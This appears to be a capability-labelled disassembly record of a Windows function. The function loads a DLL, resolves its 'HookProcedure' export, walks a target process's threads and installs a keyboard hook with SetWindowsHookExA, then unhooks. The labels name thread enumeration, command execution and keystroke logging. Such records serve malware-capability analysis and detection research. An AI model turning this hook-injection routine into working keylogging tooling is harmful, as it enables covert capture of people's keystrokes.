Function at 0x140011122
Capabilities:
Enumerate threads
Execute command
Log keystrokes via application hook

Disassembly:
jmp 0x140014020
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x208]
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14002760e]
call fcn.140011438
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400140bf
mov rdx, qword [rbp + 0x1e8]
lea rcx, str.Error_in_getting_module_handle_for__s_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400142fc
lea rdx, str.HookProcedure
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140014116
mov rdx, qword [rbp + 0x1e8]
lea rcx, str.Error_in_getting_hook_procedure_address_in__s_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400142fc
mov qword [rbp + 0x48], 0xffffffffffffffff
xor edx, edx
mov ecx, 4
call fcn.140011203
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x140014169
lea rcx, str.Could_not_get_snapshot_of_threads_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400142fc
mov dword [rbp + 0x68], 0x1c
mov dword [rbp + 0xa4], 0
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call fcn.1400112bc
test eax, eax
jne 0x1400141bf
lea rcx, str.Could_not_get_first_thread_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400142fc
mov eax, dword [rbp + 0x1e0]
cmp dword [rbp + 0x74], eax
jne 0x1400142ca
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0xa4], eax
mov edx, dword [rbp + 0xa4]
lea rcx, [0x14001daf4]
call fcn.1400111f9
mov r8d, dword [rbp + 0x70]
xor edx, edx
mov ecx, 0x20000
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x1400142b1
mov edx, dword [rbp + 0xa4]
lea rcx, str.Setting_hook_in_thread_with_ID__d_n
call fcn.1400111f9
mov r9d, dword [rbp + 0xa4]
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x28]
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x14001427f
lea rcx, str.Error_in_Setting_Hook_in_thread_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400142fc
mov edx, dword [rbp + 0x1e0]
lea rcx, str.Hook_Installed_successfully_via_SetWindowsHookEx_in_process__d_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov al, 1
jmp 0x1400142fc
lea rcx, str.Could_not_find_suitable_Thread_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call fcn.140011078
test eax, eax
jne 0x1400141bf
cmp dword [rbp + 0xa4], 0
jne 0x1400142fa
mov edx, dword [rbp + 0x1e0]
lea rcx, str.No_Thread_for_use_in_process__d_n
call fcn.1400111f9
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001e210]
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret